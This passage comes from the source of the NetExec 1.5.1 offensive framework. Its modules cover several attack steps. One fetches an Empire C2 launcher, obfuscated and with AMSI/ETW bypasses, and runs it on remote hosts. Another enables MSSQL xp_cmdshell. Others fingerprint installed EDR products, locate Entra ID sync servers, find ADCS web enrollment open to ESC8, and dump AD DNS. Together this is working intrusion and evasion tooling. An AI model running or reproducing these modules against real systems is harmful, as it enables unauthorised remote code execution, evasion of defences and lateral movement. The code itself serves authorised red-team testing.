context: Context, module_options: dict[str, str]): """ FILE_NAME Name of the file which will be tried to create and afterwards delete SHARE_NAME If set, ONLY this share will be used EXCLUDED_SHARES List of share names which will not be used, seperated by comma """ def on_login(self, context: Context, connection): context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"') NetExec-1.5.1/nxc/modules/empire_exec.py000066400000000000000000000120751514706431700201650ustar00rootroot00000000000000import sys import requests from requests import ConnectionError from nxc.helpers.misc import CATEGORY class NXCModule: """ Uses Empire's RESTful API to generate a launcher for the specified listener and executes it Module by @byt3bl33d3r """ name = "empire_exec" description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" supported_protocols = ["smb", "mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ LISTENER Listener name to generate the launcher for SSL True if the listener is using SSL/TLS OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate) OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender) """ self.empire_launcher = None if "LISTENER" not in module_options: context.log.fail("LISTENER option is required!") sys.exit(1) api_proto = "https" if "SSL" in module_options else "http" obfuscate = "OBFUSCATE" in module_options # we can use commands instead of backslashes - this is because Linux and OSX treat them differently default_obfuscation = "Token,All,1" obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation) context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") # Pull the host and port from the config file base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}" context.log.debug(f"Empire URL: {base_url}") # Pull the username and password from the config file empire_creds = { "username": context.conf.get("Empire", "username"), "password": context.conf.get("Empire", "password"), } context.log.debug(f"Empire Creds: {empire_creds}") try: login_response = requests.post( f"{base_url}/token", data=empire_creds, verify=False, ) except ConnectionError as e: context.log.fail(f"Unable to login to Empire's RESTful API: {e}") sys.exit(1) context.log.debug(f"Response Code: {login_response.status_code}") context.log.debug(f"Response Content: {login_response.text}") if login_response.status_code == 200: access_token = login_response.json()["access_token"] headers = {"Authorization": f"Bearer {access_token}"} else: context.log.fail("Error authenticating to Empire's RESTful API") sys.exit(1) data = { "name": "nxc_ephemeral", "template": "multi_launcher", "options": { "Listener": module_options["LISTENER"], "Language": "powershell", "StagerRetries": "0", "OutFile": "", "Base64": "True", "Obfuscate": obfuscate, "ObfuscateCommand": obfuscate_cmd, "SafeChecks": "True", "UserAgent": "default", "Proxy": "default", "ProxyCreds": "default", "Bypasses": "mattifestation etw", }, } try: stager_response = requests.post( f"{base_url}/api/v2/stagers?save=False", json=data, headers=headers, verify=False, ) except ConnectionError: context.log.fail("Unable to request stager from Empire's RESTful API") sys.exit(1) if stager_response.status_code not in [200, 201]: if "not found" in stager_response.json()["detail"]: context.log.fail(f"Listener {module_options['LISTENER']} not found") else: context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}") sys.exit(1) context.log.debug(f"Response Code: {stager_response.status_code}") stager_create_data = stager_response.json() context.log.debug(f"Stager data: {stager_create_data}") download_uri = stager_create_data["downloads"][0]["link"] download_response = requests.get( f"{base_url}{download_uri}", headers=headers, verify=False, ) context.log.debug(f"Response Code: {download_response.status_code}") self.empire_launcher = download_response.text if download_response.status_code == 200: context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'") else: context.log.fail("Something went wrong when retrieving stager Powershell command") def on_admin_login(self, context, connection): if self.empire_launcher: connection.execute(self.empire_launcher) context.log.success("Executed Empire Launcher") NetExec-1.5.1/nxc/modules/enable_cmdshell.py000066400000000000000000000063171514706431700210030ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Enables or disables xp_cmdshell in MSSQL Server. Module by crosscutsaw """ name = "enable_cmdshell" description = "Enable or disable xp_cmdshell in MSSQL Server" supported_protocols = ["mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.mssql_conn = None self.context = None self.action = None self.advanced_options_backup = None # Stores original value of 'show advanced options' def options(self, context, module_options): """ ACTION enable or disable xp_cmdshell Examples -------- netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable """ if "ACTION" in module_options: self.action = module_options["ACTION"].lower() else: context.log.fail("Missing required option: ACTION (enable/disable)") exit(1) def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn if self.action == "enable": self.toggle_xp_cmdshell(enable=True) elif self.action == "disable": self.toggle_xp_cmdshell(enable=False) else: self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.") def backup_show_advanced_options(self): """Backs up the current state of 'show advanced options'.""" res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'") if res: self.advanced_options_backup = int(res[0]["value"]) # Convert to integer def restore_show_advanced_options(self): """Restores the original state of 'show advanced options' if needed.""" if self.advanced_options_backup is not None and self.advanced_options_backup == 0: self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;") def toggle_xp_cmdshell(self, enable: bool): """Enables or disables xp_cmdshell while preserving 'show advanced options' state.""" state = "1" if enable else "0" action_text = "enabled" if enable else "disabled" # Backup 'show advanced options' state self.backup_show_advanced_options() # Enable 'show advanced options' if it was disabled self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;") try: # Enable or disable xp_cmdshell self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;") if self.mssql_conn.lastError: self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}") else: self.context.log.success(f"xp_cmdshell successfully {action_text}.") except Exception as e: self.context.log.fail(f"Failed to execute command: {e}") # Restore 'show advanced options' to its original state if needed self.restore_show_advanced_options() NetExec-1.5.1/nxc/modules/entra-id.py000066400000000000000000000077261514706431700174120ustar00rootroot00000000000000 import re from termcolor import colored from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes from nxc.config import host_info_colors class NXCModule: """Module by @NeffIsBack""" name = "entra-id" description = "Find the Entra ID sync server" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self): self.context = None self.module_options = None def options(self, context, module_options): """No options available.""" def on_login(self, context, connection): self.context = context # For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account. msol_parsed = parse_result_attributes(connection.search( searchFilter="(sAMAccountName=MSOL_*)", attributes=["sAMAccountName", "cn", "description"], )) self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}") adsync_parsed = parse_result_attributes(connection.search( searchFilter="(sAMAccountName=ADSyncMSA*)", attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"], )) self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}") hosts = [] for acc in msol_parsed: host = re.search(r"computer (?P.*) configured", acc["description"]) if host: hostname = host.group("host") # Try to get the dNSHostName for the host, if not use the NetBIOS name from the description resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"])) ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname) hosts.append({ "hostname": hostname, "ip": ip, "msol_account": acc["sAMAccountName"], }) for adsync in adsync_parsed: # The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account identifier = str(adsync["cn"]).removeprefix("ADSyncMSA") msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None) self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}") # Get the computer object for the ADSyncMSA service account computer = parse_result_attributes(connection.search( searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})", attributes=["dNSHostName", "cn", "sAMAccountName"], ))[0] # If we already found a host with its MSOL account, extend that info, otherwise create a new host entry host = next((x for x in hosts if x["hostname"] == computer["cn"]), None) if host and host["ip"]: # Skip if host and IP are already set self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.") continue elif host: # If host exists but IP is not set, update it host["ip"] = connection.resolver(computer["dNSHostName"]) else: # If host does not exist, create a new entry hosts.append({ "hostname": computer["cn"], "ip": connection.resolver(computer["dNSHostName"]), }) if hosts: self.context.log.success("Found Entra ID sync servers:") for host in hosts: self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', ''), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"])) NetExec-1.5.1/nxc/modules/enum_av.py000066400000000000000000000543441514706431700173370ustar00rootroot00000000000000# All credit to @an0n_r0 # https://github.com/tothi/serviceDetector # Module by @mpgn_x64 # https://twitter.com/mpgn_x64 from impacket.dcerpc.v5 import lsat, lsad, transport from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE import pathlib from nxc.helpers.misc import CATEGORY class NXCModule: """ Uses LsarLookupNames and NamedPipes to gather information on all endpoint protection solutions installed on the the remote host(s) Module by @mpgn_x64 """ name = "enum_av" description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """ """ def on_login(self, context, connection): target = self._get_target(connection) context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...") results = self._detect_installed_services(context, connection, target) self.detect_running_processes(context, connection, results) self.dump_results(results, context) def _get_target(self, connection): return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}" def _detect_installed_services(self, context, connection, target): results = {} try: lsa = LsaLookupNames( domain=connection.domain, username=connection.username, password=connection.password, remote_name=target, do_kerberos=connection.kerberos, remoteHost=connection.host, kdcHost=connection.kdcHost, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey ) dce, _ = lsa.connect() policyHandle = lsa.open_policy(dce) for product in conf["products"]: for service in product["services"]: try: lsa.LsarLookupNames(dce, policyHandle, service["name"]) context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}") results.setdefault(product["name"], {"services": []})["services"].append(service) except Exception: pass except Exception as e: context.log.fail(str(e)) return results def detect_running_processes(self, context, connection, results): context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...") try: for f in connection.conn.listPath("IPC$", "\\*"): fl = f.get_longname() for product in conf["products"]: for pipe in product["pipes"]: if pathlib.PurePath(fl).match(pipe["name"]): context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") prod_results = results.setdefault(product["name"], {}) prod_results.setdefault("pipes", []).append(pipe) except Exception as e: context.log.fail(str(e)) def dump_results(self, results, context): if not results: context.log.highlight("Found NOTHING!") return for item, data in results.items(): message = f"Found {item}" if "services" in data: message += " INSTALLED" if "pipes" in data: message += " and RUNNING" elif "pipes" in data: message += " RUNNING" context.log.highlight(message) class LsaLookupNames: timeout = None authn_level = None protocol = None transfer_syntax = None machine_account = False iface_uuid = lsat.MSRPC_UUID_LSAT authn = True def __init__( self, domain="", username="", password="", remote_name="", do_kerberos=False, remoteHost="", kdcHost="", lmhash="", nthash="", aesKey="", ): self.domain = domain self.username = username self.password = password self.remoteName = remote_name self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]" self.doKerberos = do_kerberos self.lmhash = lmhash self.nthash = nthash self.aesKey = aesKey self.kdcHost = kdcHost self.remoteHost = remoteHost def connect(self, string_binding=None, iface_uuid=None): """Obtains a RPC Transport and a DCE interface according to the bindings and transfer syntax specified. :return: tuple of DCE/RPC and RPC Transport objects :rtype: (DCERPC_v5, DCERPCTransport) """ string_binding = string_binding or self.string_binding if not string_binding: raise NotImplementedError("String binding must be defined") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.setRemoteHost(self.remoteHost) # Set timeout if defined if self.timeout: rpc_transport.set_connect_timeout(self.timeout) # Authenticate if specified if self.authn and hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) if self.doKerberos: rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost) # Gets the DCE RPC object dce = rpc_transport.get_dce_rpc() if self.doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) # Connect dce.connect() # Bind if specified iface_uuid = iface_uuid or self.iface_uuid if iface_uuid and self.transfer_syntax: dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax) elif iface_uuid: dce.bind(iface_uuid) return dce, rpc_transport def open_policy(self, dce): request = lsad.LsarOpenPolicy2() request["SystemName"] = NULL request["ObjectAttributes"]["RootDirectory"] = NULL request["ObjectAttributes"]["ObjectName"] = NULL request["ObjectAttributes"]["SecurityDescriptor"] = NULL request["ObjectAttributes"]["SecurityQualityOfService"] = NULL request["DesiredAccess"] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES resp = dce.request(request) return resp["PolicyHandle"] def LsarLookupNames(self, dce, policyHandle, service): request = lsat.LsarLookupNames() request["PolicyHandle"] = policyHandle request["Count"] = 1 name1 = RPC_UNICODE_STRING() name1["Data"] = f"NT Service\\{service}" request["Names"].append(name1) request["TranslatedSids"]["Sids"] = NULL request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta return dce.request(request) conf = { "products": [ { "name": "Acronis Cyber Protect Active Protection", "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}], "pipes": [] }, { "name": "Bitdefender", "services": [ {"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"}, {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"}, {"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"}, {"name": "VSSERV", "description": "Bitdefender Virus Shield"}, {"name": "bdredline", "description": "Bitdefender RedLine Service"}, {"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"}, {"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"}, {"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"}, {"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"}, {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"} ], "pipes": [ {"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]}, {"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]}, {"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]}, {"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]}, {"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]}, {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]}, {"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]} ] }, { "name": "Carbon Black App Control", "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}], "pipes": [] }, { "name": "CrowdStrike", "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}], "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}] }, { "name": "Cortex", "services": [ {"name": "xdrhealth", "description": "Cortex XDR Health Helper"}, {"name": "cyserver", "description": " Cortex XDR"} ], "pipes": [] }, { "name": "Cybereason", "services": [ {"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"}, {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"}, {"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"} ], "pipes": [ {"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]}, {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]} ] }, { "name": "Check Point Endpoint Security", "services": [ {"name": "CPDA", "description": "Check Point Endpoint Agent"}, {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"}, {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"}, {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"} ], "pipes": [] }, { "name": "ESET", "services": [ {"name": "ekm", "description": "ESET"}, {"name": "epfw", "description": "ESET"}, {"name": "epfwlwf", "description": "ESET"}, {"name": "epfwwfp", "description": "ESET"}, {"name": "EraAgentSvc", "description": "ESET Management Agent service"}, {"name": "ERAAgent", "description": "ESET Management Agent service"}, {"name": "efwd", "description": "ESET Communication Forwarding Service"}, {"name": "ehttpsrv", "description": "ESET HTTP Server"}, ], "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}], }, { "name": "FortiClient", "services": [ {"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"}, {"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"} ], "pipes": [ {"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]}, {"name": "FC_*", "processes": ["FortiTray.exe"]} ] }, { "name": "FortiEDR", "services": [ {"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"} ], "pipes": [] }, { "name": "G DATA Security Client", "services": [ {"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"}, {"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"}, {"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"} ], "pipes": [ {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]} ] }, { "name": "Ivanti Security", "services": [ {"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"}, {"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"} ], "pipes": [] }, { "name": "Kaseya Agent Endpoint", "services": [ {"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"}, {"name": "KAKSAASC*", "description": "Machine.Group ID:*"}, ], "pipes": [ {"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]}, {"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]} ] }, { "name": "Kaspersky Security for Windows Server", "services": [ {"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"}, {"name": "KAVFS", "description": "Kaspersky Security Service"}, {"name": "KAVFSGT", "description": "Kaspersky Security Management Service"}, {"name": "klnagent", "description": "Kaspersky Security Center"} ], "pipes": [ {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]} ] }, { "name": "Malwarebytes", "services": [ {"name": "MBAMService", "description": "Malwarebytes Service"}, {"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"} ], "pipes": [ {"name": "MBLG", "processes": ["MBAMService.exe"]}, {"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]}, {"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]} ] }, { "name": "Panda Adaptive Defense 360", "services": [ {"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"}, {"name": "PSUAService", "description": "Panda Product Service"}, {"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"} ], "pipes": [ {"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]}, {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]} ] }, { "name": "SentinelOne", "services": [ {"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"}, {"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"}, {"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"} ], "pipes": [ {"name": "SentinelAgentWorkerCert.*", "processes": [""]}, {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]}, {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]} ] }, { "name": "Symantec Endpoint Protection", "services": [ {"name": "SepMasterService", "description": "Symantec Endpoint Protection"}, {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"}, {"name": "SNAC", "description": "Symantec Network Access Control"} ], "pipes": [] }, { "name": "Rapid7", "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}], "pipes": [] }, { "name": "Sophos Intercept X", "services": [ {"name": "SntpService", "description": "Sophos Network Threat Protection"}, {"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"}, {"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"}, {"name": "Sophos Health Service", "description": "Sophos Health Service"}, {"name": "Sophos Live Query", "description": "Sophos Live Query"}, {"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"}, {"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"}, {"name": "Sophos MCS Client", "description": "Sophos MCS Client"}, {"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"} ], "pipes": [ {"name": "SophosUI", "processes": [""]}, {"name": "SophosEventStore", "processes": [""]}, {"name": "sophos_deviceencryption", "processes": [""]}, {"name": "sophoslivequery_*", "processes": [""]} ] }, { "name": "Trellix Endpoint Detection and Response (EDR)", "services": [ {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"}, {"name": "mfemactl", "description": "Trellix Management Service"}, {"name": "mfemms", "description": "McAfee Management Service"}, {"name": "mfefire", "description": "Trellix Firewall Core Service"}, {"name": "masvc", "description": "Trellix Agent Service"}, {"name": "macmnsvc", "description": "Trellix Agent Common Service"}, {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"}, {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"}, {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"} ], "pipes": [ {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]}, {"name": "mfemactl_*", "processes": ["mfemactl.exe"]}, {"name": "mfefire_*", "processes": ["mfefire.exe"]}, {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]}, {"name": "mfetp_*", "processes": ["mfetp.exe"]} ] }, { "name": "Trend Micro Endpoint Security", "services": [ {"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"}, {"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"}, {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"}, {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"}, {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"}, {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}, {"name": "ds_agent", "description": "Trend Micro Deep Security Agent"}, {"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"}, {"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"} ], "pipes": [ {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]}, {"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]}, {"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]}, {"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]}, {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]} ] }, { "name": "Windows Defender", "services": [ {"name": "WinDefend", "description": "Windows Defender Antivirus Service"}, {"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"}, {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"} ], "pipes": [] }, { "name": "WithSecure Elements", "services": [ {"name": "fsdevcon", "description": "WithSecure Device Control"}, {"name": "fshoster", "description": "WithSecure Hoster"}, {"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"}, {"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"}, {"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"}, {"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"}, {"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"} ], "pipes": [ {"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]} ] } ] } NetExec-1.5.1/nxc/modules/enum_ca.py000066400000000000000000000111541514706431700173040ustar00rootroot00000000000000from impacket.dcerpc.v5 import transport, epm from impacket.http import AUTH_NTLM from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ RPC_PROXY_RPC_OUT_DATA_404_ERR from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket import uuid import requests from nxc.helpers.misc import CATEGORY class NXCModule: """ ------- Module by @0xjbb, original code from Impacket rpcdump.py """ KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, 139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, 443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"}, 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, 593: {"bindstr": r"ncacn_http:%s"} } name = "enum_ca" description = "Anonymously uses RPC endpoints to hunt for ADCS CAs" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """No options available""" def on_login(self, context, connection): self.__username = connection.username self.__password = connection.password self.__domain = connection.domain self.__lmhash = "" self.__nthash = "" self.__port = 135. self.__stringbinding = "" if context.hash and ":" in context.hash[0]: hashList = context.hash[0].split(":") self.__nthash = hashList[-1] self.__lmhash = hashList[0] elif context.hash and ":" not in context.hash[0]: self.__nthash = context.hash[0] self.__lmhash = "00000000000000000000000000000000" self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host context.log.debug(f"StringBinding {self.__stringbinding}") rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) if self.__port in [139, 445]: # Setting credentials for SMB rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.setRemoteHost(connection.host) rpctransport.set_dport(self.__port) elif self.__port == 443: # Setting credentials only for RPC Proxy, but not for the MSRPC level rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) rpctransport.set_auth_type(AUTH_NTLM) else: rpctransport.setRemoteHost(connection.host) try: entries = self.__fetchList(connection.kerberos, rpctransport) except Exception as e: error_text = f"Protocol failed: {e}" context.log.fail(error_text) if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text or \ RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: context.log.fail("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.") return for entry in entries: tmpUUID = str(entry["tower"]["Floors"][0]) if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] context.log.debug(f"EXEs {exename}") if exename == "certsrv.exe": context.log.highlight("Active Directory Certificate Services Found.") url = f"http://{connection.host}/certsrv/certfnsh.asp" context.log.highlight(url) try: response = requests.get(url, timeout=5) if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower(): context.log.highlight("Web enrollment found on HTTP (ESC8).") except requests.RequestException as e: context.log.debug(e) return def __fetchList(self, doKerberos, rpctransport): dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp NetExec-1.5.1/nxc/modules/enum_dns.py000066400000000000000000000051501514706431700175040ustar00rootroot00000000000000from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH class NXCModule: """ Uses WMI to dump DNS from an AD DNS Server. Module by @fang0654 """ name = "enum_dns" description = "Uses WMI to dump DNS from an AD DNS Server" supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.domains = None def options(self, context, module_options): """DOMAIN Domain to enumerate DNS for. Defaults to all zones.""" self.domains = None if module_options and "DOMAIN" in module_options: self.domains = module_options["DOMAIN"] def on_admin_login(self, context, connection): if not self.domains: domains = [] output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns") domains = [result["Name"]["value"] for result in output] if output else [] context.log.success(f"Domains retrieved: {domains}") else: domains = [self.domains] data = "" for domain in domains: output = connection.wmi_query( f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'", "root\\microsoftdns", ) if output: domain_data = {} context.log.highlight(f"Results for {domain}") data += f"Results for {domain}\n" for entry in output: text = entry["TextRepresentation"]["value"] rname = text.split(" ")[0] rtype = text.split(" ")[2] rvalue = " ".join(text.split(" ")[3:]) if domain_data.get(rtype): domain_data[rtype].append(f"{rname}: {rvalue}") else: domain_data[rtype] = [f"{rname}: {rvalue}"] for k, v in sorted(domain_data.items()): context.log.highlight(f"Record Type: {k}") data += f"Record Type: {k}\n" for d in sorted(v): context.log.highlight("\t" + d) data += "\t" + d + "\n" log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" write_log(data, log_name) 